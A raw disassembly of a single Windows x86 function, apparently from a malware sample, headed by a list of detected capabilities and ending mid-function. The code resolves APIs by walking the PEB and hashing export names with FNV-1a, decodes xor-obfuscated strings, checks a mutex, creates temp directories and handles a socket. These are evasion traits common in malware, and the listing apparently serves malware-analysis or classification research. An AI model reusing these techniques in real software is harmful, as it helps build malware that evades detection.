Function at 0x45ee20
Capabilities:
Access peb ldr_data
Check mutex on windows
Create directory
Create thread
Encode data using xor
Get common file path
Get number of processors
Hash data using fnv
Print debug messages
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x502d10
push eax
mov dword fs:[0], esp
sub esp, 0x80c
push ebx
push esi
push edi
push 0x1f
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00414a90
mov ebx, eax
mov ecx, edx
shrd eax, ecx, 0x10
mov ecx, ebx
shrd ecx, edx, 8
movzx esi, al
movzx eax, cl
mov ecx, 0x533b44
add esi, eax
movzx eax, bl
add esi, eax
call fcn.004027a0
push eax
call fcn.004ea4b7
add esp, 4
xor ecx, ecx
add esi, eax
call fcn.00402e20
sub eax, 0xffffff80
add eax, esi
push eax
call fcn.004e281e
add esp, 4
push 0x100
push 0
push 0x535ec0
call fcn.004debb0
add esp, 0xc
mov ecx, 0x533b44
call fcn.00402650
push eax
mov ecx, 0x533b44
call fcn.004027a0
push eax
push 0x535ec0
call fcn.004de630
add esp, 0xc
mov ecx, 0x533b74
call fcn.00402650
push eax
mov ecx, 0x533b74
call fcn.004027a0
push eax
push 0x535f24
call fcn.004de630
add esp, 0xc
mov ecx, 0x533b44
call fcn.004027a0
lea edx, [eax + 1]
nop word [eax + eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x45ef00
sub eax, edx
mov ecx, 0x533b44
push eax
call fcn.004027a0
push eax
lea ecx, [ebp - 0x320]
call fcn.00402740
push eax
mov ecx, 0x533b44
call fcn.004658e0
lea ecx, [ebp - 0x320]
call fcn.00402660
mov ecx, 0x533c4c
call fcn.004027a0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x45ef43
sub eax, edx
mov ecx, 0x533c4c
push eax
call fcn.004027a0
push eax
lea ecx, [ebp - 0x338]
call fcn.00402740
push eax
mov ecx, 0x533c4c
call fcn.004658e0
lea ecx, [ebp - 0x338]
call fcn.00402660
push method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_12
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call fcn.0045ec50
test al, al
jne 0x45efa5
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 0x200
lea eax, [ebp - 0x710]
push 0
push eax
call fcn.004debb0
add esp, 0xc
lea eax, [ebp - 0x710]
push 0x200
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x710]
push eax
lea ecx, [ebp - 0x400]
call fcn.00402700
sub esp, 0x18
lea eax, [ebp - 0x400]
mov ecx, esp
push eax
call fcn.00465a60
mov edx, 0x1e8481
lea ecx, [ebp - 0x1f8]
call fcn.0040bb10
add esp, 0x18
mov ecx, 0x536280
call fcn.00402650
mov edx, dword [ebp - 0x1f8]
xor edi, edi
mov dword [ebp - 0x24], eax
mov ecx, dword [edx + 0x10]
sub ecx, eax
je 0x45f11b
mov ecx, 0x536280
call fcn.004027a0
mov edx, dword [ebp - 0x1f8]
mov esi, eax
mov eax, edx
cmp dword [eax + 0x14], 0x10
jb 0x45f041
mov eax, dword [edx]
mov ecx, dword [eax + edi]
cmp ecx, dword [esi]
jne 0x45f085
mov eax, dword [eax + edi + 4]
cmp eax, dword [esi + 4]
jne 0x45f085
lea ecx, [ebp - 0x1f8]
call fcn.004646d0
mov ecx, eax
call fcn.004027a0
mov ecx, 0x536280
mov esi, dword [eax + edi + 8]
mov ebx, dword [eax + edi + 0xc]
call fcn.004027a0
cmp esi, dword [eax + 8]
jne 0x45f07f
cmp ebx, dword [eax + 0xc]
je 0x45f095
mov edx, dword [ebp - 0x1f8]
mov eax, dword [edx + 0x10]
inc edi
sub eax, dword [ebp - 0x24]
cmp edi, eax
jb 0x45f025
jmp 0x45f11b
lea ecx, [ebp - 0x2e]
mov dword [ebp - 0x2e], 0x82998bbe
mov dword [ebp - 0x2a], 0xd1888084
mov word [ebp - 0x26], 0x100
call fcn.0040ee20
movaps xmm0, xmmword [0x526a40]
lea ecx, [ebp - 0x288]
movups xmmword [ebp - 0x288], xmm0
mov esi, eax
mov dword [ebp - 0x258], 0x753b746c
movaps xmm0, xmmword [0x525030]
movups xmmword [ebp - 0x278], xmm0
mov dword [ebp - 0x254], 0x1002169
movaps xmm0, xmmword [0x525620]
movups xmmword [ebp - 0x268], xmm0
call fcn.00445200
push 0x14
push esi
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 7
jne 0x45f115
lea esi, [eax + 5]
jmp 0x461ed3
mov edx, dword [ebp - 0x1f8]
push 0
mov ecx, edx
mov dword [ebp - 4], 0
call fcn.004681a0
push 0
push 2
mov dword [ebp - 4], 0xffffffff
mov edi, dword [0x533ab4]
mov esi, dword [0x533ab0]
push edi
push esi
call fcn.005020d0
mov ebx, dword [0x533ab8]
sub ebx, eax
mov eax, dword [0x533abc]
mov ecx, ebx
sbb eax, edx
xor ecx, esi
mov dword [ebp - 0x34], eax
xor eax, edi
or ecx, eax
je 0x45f176
add esi, ebx
mov dword [0x533ab0], esi
adc edi, dword [ebp - 0x34]
mov dword [0x533ab4], edi
test edi, edi
jl 0x45f19b
jg 0x45f184
cmp esi, 0x8d8a
jbe 0x45f19b
xorps xmm0, xmm0
movlpd qword [0x533ab0], xmm0
mov edi, dword [0x533ab4]
mov esi, dword [0x533ab0]
push 0
push 2
push edi
push esi
call fcn.005020d0
sub ebx, eax
mov eax, dword [ebp - 0x34]
mov ecx, ebx
mov dword [0x533ab8], ebx
sbb eax, edx
xor ecx, esi
mov dword [ebp - 0x34], eax
mov dword [0x533abc], eax
xor eax, edi
or ecx, eax
je 0x45f1d6
add esi, ebx
mov dword [0x533ab0], esi
adc edi, dword [ebp - 0x34]
mov dword [0x533ab4], edi
test edi, edi
jl 0x45f1ef
jg 0x45f1e4
cmp esi, 0x8d8a
jbe 0x45f1ef
xorps xmm0, xmm0
movlpd qword [0x533ab0], xmm0
push 0x1e0f2
call dword [sym.imp.KERNEL32.dll_GetProcessId]
lea ecx, [ebp - 0x3a]
mov dword [ebp - 0x3a], 0x899e989d
mov word [ebp - 0x36], 0x100
call fcn.00462be0
push 0
lea eax, [ebp - 0x3a]
mov ecx, 0x533b8c
push eax
call fcn.004654d0
test eax, eax
jne 0x45f3a8
call fcn.00414c50
test al, al
je 0x45f2e5
mov eax, dword fs:[0x30]
mov dword [ebp - 0x214], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x48], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0xb0], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0xb0], ecx
cmp ecx, esi
je 0x45f2bc
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45f2bc
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45f2b5
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45f298
cmp esi, 0xe80fd3a
je 0x45f2c0
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45f283
mov eax, dword [eax]
jmp 0x45f250
mov eax, dword [ebp - 0xb0]
mov edx, dword [ebp - 0x48]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x214]
jmp 0x45f39d
call fcn.00414d90
test al, al
jne 0x45f3a8
mov eax, dword fs:[0x30]
mov dword [ebp - 0x14c], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb0], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x48], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x48], ecx
cmp ecx, esi
je 0x45f379
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45f379
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45f372
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45f355
cmp esi, 0xe80fd3a
je 0x45f37d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45f340
mov eax, dword [eax]
jmp 0x45f310
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0xb0]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x14c]
add esi, edx
call fcn.00467730
push dword [eax]
call esi
lea ecx, [ebp - 0x10a]
mov dword [ebp - 0x10a], 0x899e989d
mov word [ebp - 0x106], 0x100
call fcn.00462be0
push 0
lea eax, [ebp - 0x10a]
mov ecx, 0x533b2c
push eax
call fcn.004654d0
test eax, eax
jne 0x45f4b5
call fcn.00414dd0
mov bl, al
call fcn.00414e60
mov bh, al
call fcn.004150c0
test bl, bl
jne 0x45f40d
test bh, bh
jne 0x45f40d
test al, al
jne 0x45f40d
call fcn.00414c90
test al, al
je 0x45f4b5
mov eax, dword fs:[0x30]
mov dword [ebp - 0x14], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb0], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x48], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x48], ecx
cmp ecx, esi
je 0x45f489
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45f489
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45f482
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45f465
cmp esi, 0xe80fd3a
je 0x45f48d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45f450
mov eax, dword [eax]
jmp 0x45f420
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0xb0]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x14]
add esi, edx
call fcn.00467730
push dword [eax]
call esi
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x110], 0x899e989d
mov word [ebp - 0x10c], 0x100
call fcn.00462be0
push 0
lea eax, [ebp - 0x110]
mov ecx, 0x533c34
push eax
call fcn.004654d0
test eax, eax
jne 0x45f4f2
lea ecx, [eax + 1]
call fcn.00415270
lea ecx, [ebp - 0x116]
mov dword [ebp - 0x116], 0x899e989d
mov word [ebp - 0x112], 0x100
call fcn.00462be0
push 0
lea eax, [ebp - 0x116]
mov ecx, 0x533c1c
push eax
call fcn.004654d0
test eax, eax
jne 0x45f52c
call fcn.00418210
lea ecx, [ebp - 0x11c]
mov dword [ebp - 0x11c], 0x899e989d
mov word [ebp - 0x118], 0x100
call fcn.00462be0
push 0
lea eax, [ebp - 0x11c]
mov ecx, 0x533b14
push eax
call fcn.004654d0
mov esi, dword [0x533ab4]
test eax, eax
mov edi, dword [0x533ab0]
push 0
push 2
push esi
push edi
setne byte [ebp - 0x15]
call fcn.005020d0
mov ebx, dword [0x533ab8]
sub ebx, eax
mov eax, dword [0x533abc]
mov ecx, ebx
mov dword [0x533ab8], ebx
sbb eax, edx
xor ecx, edi
mov dword [ebp - 0x48], eax
mov edx, eax
mov dword [0x533abc], eax
mov eax, esi
xor eax, edx
or ecx, eax
je 0x45f5b5
add edi, ebx
mov dword [0x533ab0], edi
adc esi, edx
mov dword [0x533ab4], esi
test esi, esi
jl 0x45f5ce
jg 0x45f5c3
cmp edi, 0x8d8a
jbe 0x45f5ce
xorps xmm0, xmm0
movlpd qword [0x533ab0], xmm0
lea ecx, [ebp - 0x161]
mov dword [ebp - 0x161], 0x8485839e
mov dword [ebp - 0x15d], 0xde9f9a99
mov dword [ebp - 0x159], 0x9f9e95
mov byte [ebp - 0x155], 1
call fcn.00462b80
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb0], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x48], ecx
lea ecx, [esi + edx]
mov dword [ebp - 0x48], ecx
cmp ecx, esi
je 0x45f679
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45f679
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45f672
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45f655
cmp esi, 0x53b2070f
je 0x45f67d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45f640
mov eax, dword [eax]
jmp 0x45f610
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0xb0]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x161]
add eax, edx
push ecx
call eax
test eax, eax
jne 0x45f6ad
xor esi, esi
jmp 0x461ed3
lea ecx, [ebp - 0x1b5]
mov dword [ebp - 0x1b5], 0xa5a5a3be
mov dword [ebp - 0x1b1], 0xdebbaba3
mov dword [ebp - 0x1ad], 0xbfbeb5
mov byte [ebp - 0x1a9], 1
call fcn.0040d9b0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
call fcn.004806a0
lea ecx, [ebp - 0x8e]
mov word [ebp - 0x8e], 0xd3
mov byte [ebp - 0x8c], 1
call fcn.00462d90
push 0
lea eax, [ebp - 0x8e]
mov ecx, 0x533b74
push eax
call fcn.004654d0
cmp eax, 0xffffffff
je 0x45f7b2
sub esp, 0x18
mov word [ebp - 0xd7], 0xd3
lea ecx, [ebp - 0xd7]
mov byte [ebp - 0xd5], 1
mov esi, esp
call fcn.0040a3c0
push eax
mov ecx, esi
call fcn.00402700
sub esp, 0x18
mov ecx, esp
push 0x533b74
call fcn.00465a60
lea ecx, [ebp - 0x238]
call fcn.0040c3e0
add esp, 0x30
lea ecx, [ebp - 0x238]
call fcn.004646a0
cmp eax, 2
jne 0x45f7a7
push 1
lea ecx, [ebp - 0x238]
call fcn.00464680
push eax
mov ecx, 0x5360d8
call fcn.004658b0
push 0
lea ecx, [ebp - 0x238]
call fcn.00464680
push eax
mov ecx, 0x533b74
call fcn.004658b0
lea ecx, [ebp - 0x238]
call fcn.00464790
push 0
push 0
push 0
push 0x41ec20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x533aac], 0xffffffff
jne 0x45f88a
nop dword [eax + eax]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb0], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x48], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x48], ecx
cmp ecx, esi
je 0x45f859
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45f859
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45f852
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45f835
cmp esi, 0x2fa62ca8
je 0x45f85d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45f820
mov eax, dword [eax]
jmp 0x45f7f0
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0xb0]
push 1
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp dword [0x533aac], 0xffffffff
je 0x45f7e0
lea ecx, [ebp - 0x148]
mov dword [ebp - 0x148], 0x100b0b3
call fcn.0040a3d0
push eax
lea ecx, [ebp - 0x22c]
call fcn.00402700
mov ecx, 0x104
lea eax, [ebp - 0x818]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x45f8b6
lea eax, [ebp - 0x818]
push eax
push 0xfb
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edx, 0xc
lea ecx, [ebp - 0x3cc]
call fcn.0040c740
lea eax, [ebp - 0x3cc]
mov dword [ebp - 0xd3], 0x8e848e88
push eax
lea ecx, [ebp - 0xd3]
mov word [ebp - 0xcf], 0x88
mov byte [ebp - 0xcd], 1
call fcn.004094f0
push eax
lea ecx, [ebp - 0x338]
call fcn.00402700
push eax
lea edx, [ebp - 0x818]
lea ecx, [ebp - 0x450]
call fcn.004698d0
add esp, 4
lea ecx, [ebp - 0x438]
mov edx, eax
call fcn.004699d0
add esp, 4
mov ecx, 0x533afc
push eax
call fcn.004658e0
lea ecx, [ebp - 0x438]
call fcn.00402660
lea ecx, [ebp - 0x450]
call fcn.00402660
lea ecx, [ebp - 0x338]
call fcn.00402660
lea ecx, [ebp - 0x338]
call fcn.00402790
lea ecx, [ebp - 0x131]
mov dword [ebp - 0x131], 0x88828f81
mov word [ebp - 0x12d], 0x84
mov byte [ebp - 0x12b], 1
call fcn.00462e00
lea eax, [ebp - 0x3cc]
push eax
lea eax, [ebp - 0x131]
push eax
lea ecx, [ebp - 0x480]
call fcn.00402700
push eax
lea edx, [ebp - 0x818]
lea ecx, [ebp - 0x468]
call fcn.004698d0
add esp, 4
lea ecx, [ebp - 0x250]
mov edx, eax
call fcn.004699d0
add esp, 4
lea ecx, [ebp - 0x468]
call fcn.00402660
lea ecx, [ebp - 0x480]
call fcn.00402660
mov ecx, 0x533afc
call fcn.004027a0
mov ecx, eax
call fcn.0040bf40
test al, al
je 0x45fa16
push 0
mov dl, 1
mov ecx, 0x533afc
call fcn.0040c000
add esp, 4
lea ecx, [ebp - 0x250]
call fcn.004027a0
mov ecx, eax
call fcn.0040bf40
test al, al
je 0x45fa3e
push 0
mov dl, 1
lea ecx, [ebp - 0x250]
call fcn.0040c000
add esp, 4
mov ecx, 0x533afc
call fcn.004027a0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
push eax
call esi
test eax, eax
jne 0x45fa69
mov ecx, 0x533afc
call fcn.00416110
test al, al
je 0x461cc3
push 0
lea ecx, [ebp - 0x250]
call fcn.004027a0
push eax
call esi
test eax, eax
jne 0x45faf2
mov esi, dword [0x533ab4]
mov edi, dword [0x533ab0]
push eax
push 2
push esi
push edi
call fcn.005020d0
mov ebx, dword [0x533ab8]
sub ebx, eax
mov eax, dword [0x533abc]
mov ecx, ebx
mov dword [0x533ab8], ebx
sbb eax, edx
xor ecx, edi
mov dword [ebp - 0x14], eax
mov edx, eax
mov dword [0x533abc], eax
mov eax, esi
xor eax, edx
or ecx, eax
je 0x45face
add edi, ebx
mov dword [0x533ab0], edi
adc esi, edx
mov dword [0x533ab4], esi
test esi, esi
jl 0x45fae7
jg 0x45fadc
cmp edi, 0x8d8a
jbe 0x45fae7
xorps xmm0, xmm0
movlpd qword [0x533ab0], xmm0
lea ecx, [ebp - 0x250]
call fcn.00416110
lea ecx, [ebp - 0x250]
call fcn.004027a0
mov dword [ebp - 0x10], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x45fb79
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45fb79
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45fb72
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45fb55
cmp esi, 0x7a5b9fa2
je 0x45fb7d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45fb40
mov eax, dword [eax]
jmp 0x45fb10
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x14c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x10]
add esi, edx
call fcn.00467730
push dword [eax]
call esi
lea eax, [ebp - 0x250]
mov ecx, 0x533ba4
push eax
call fcn.004658b0
call fcn.004164f0
test al, al
je 0x45fd8f
cmp byte [ebp - 0x15], 0
jne 0x45fd8f
push 0x533b44
lea ecx, [ebp - 0x6d]
mov dword [ebp - 0x6d], 0x8f82869a
mov dword [ebp - 0x69], 0x9983bd86
mov dword [ebp - 0x65], 0x9ab29795
mov word [ebp - 0x61], 0x91
mov byte [ebp - 0x5f], 1
call fcn.0040a6c0
mov edx, eax
lea ecx, [ebp - 0x320]
call fcn.00469870
add esp, 4
mov ecx, eax
call fcn.004027a0
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea ecx, [ebp - 0x320]
call fcn.00402660
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x461eb0
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0x1e
push 0x3e8
call ebx
sub esi, 1
jne 0x45fc42
sub esp, 0x18
mov dword [ebp - 0x2e], 0xafa5bca1
lea ecx, [ebp - 0x2e]
mov dword [ebp - 0x2a], 0x9c838ac3
mov word [ebp - 0x26], 0x100
mov esi, esp
call fcn.0040ee20
push eax
mov ecx, esi
call fcn.00402700
call fcn.0041f0e0
mov ecx, dword [0x536178]
mov eax, 0x2aaaaaab
sub ecx, dword [0x536174]
add esp, 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x45fcc3
nop
push 0x30
call ebx
mov ecx, dword [0x536178]
mov eax, 0x2aaaaaab
sub ecx, dword [0x536174]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x45fca0
push 2
push dword [0x533aac]
mov byte [0x535e91], 1
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x533aac]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
nop word [eax + eax]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x14], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x10], ecx
cmp ecx, edx
je 0x45fd64
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45fd64
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, edx
mov ecx, dword [ebx - 4]
lea ebx, [ebx - 4]
add ecx, edx
dec edi
mov esi, 0x811c9dc5
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x45fd5d
nop word [eax + eax]
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x45fd40
cmp esi, 0x2fa62ca8
je 0x45fd68
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x45fd25
mov eax, dword [eax]
jmp 0x45fd00
mov esi, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x1cf
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
jmp 0x45fcf0
mov esi, dword [0x533ab4]
mov edi, dword [0x533ab0]
push 0
push 2
push esi
push edi
call fcn.005020d0
mov ebx, dword [0x533ab8]
sub ebx, eax
mov eax, dword [0x533abc]
mov ecx, ebx
mov dword [0x533ab8], ebx
sbb eax, edx
xor ecx, edi
mov dword [ebp - 0x10], eax
mov dword [0x533abc], eax
xor eax, esi
or ecx, eax
je 0x45fdde
add edi, ebx
mov dword [0x533ab0], edi
adc esi, dword [ebp - 0x10]
mov dword [0x533ab4], esi
test esi, esi
jl 0x45fdf7
jg 0x45fdec
cmp edi, 0x8d8a
jbe 0x45fdf7
xorps xmm0, xmm0
movlpd qword [0x533ab0], xmm0
lea ecx, [ebp - 0x93]
mov byte [0x535ebb], 0
mov word [ebp - 0x93], 0x95
mov byte [ebp - 0x91], 1
call fcn.0040a3c0
lea ecx, [ebp - 0x370]
mov ebx, eax
call fcn.0040d120
push 0
push 0xd0527
mov edi, eax
call fcn.00407d20
sub esp, 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [0x533aac]
lea ecx, [ebp - 0x498]
mov esi, esp
mov dword [ebp - 0x14], eax
mov edx, edi
push 0x533b44
push ebx
call fcn.00469810
add esp, 4
mov edx, eax
mov ecx, esi
call fcn.004699d0
mov edx, dword [ebp - 0x10]
add esp, 4
mov ecx, dword [ebp - 0x14]
call fcn.0041e060
add esp, 0x18
lea ecx, [ebp - 0x498]
mov bl, al
call fcn.00402660
lea ecx, [ebp - 0x370]
call fcn.00402660
test bl, bl
je 0x45ff62
cmp byte [0x535ebb], 0
jne 0x45ff62
nop dword [eax]
nop word [eax + eax]
mov eax, dword fs:[0x30]
mov dword [ebp - 0x94], 0x65
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x45ff29
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45ff29
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45ff22
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45ff05
cmp esi, 0x2fa62ca8
je 0x45ff2d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45fef0
mov eax, dword [eax]
jmp 0x45fec6
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x94]
add esi, edx
call fcn.00467730
push dword [eax]
call esi
cmp byte [0x535ebb], 0
je 0x45feb0
mov edx, 0x533ae4
lea ecx, [ebp - 0x280]
call fcn.0041c2d0
lea eax, [ebp - 0x280]
push eax
lea ecx, [ebp - 0x22c]
call fcn.004658b0
cmp dword [0x533af4], 0
jne 0x46000c
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x21c], 0
jne 0x46000c
mov edx, 0x533ae4
lea ecx, [ebp - 0x388]
call fcn.0041c2d0
mov esi, eax
lea ecx, [ebp - 0x280]
push esi
call fcn.004658e0
lea eax, [esi + 0x18]
push eax
lea ecx, [ebp - 0x268]
call fcn.004658e0
lea ecx, [ebp - 0x370]
call fcn.00402660
lea ecx, [ebp - 0x388]
call fcn.00402660
lea eax, [ebp - 0x280]
push eax
lea ecx, [ebp - 0x22c]
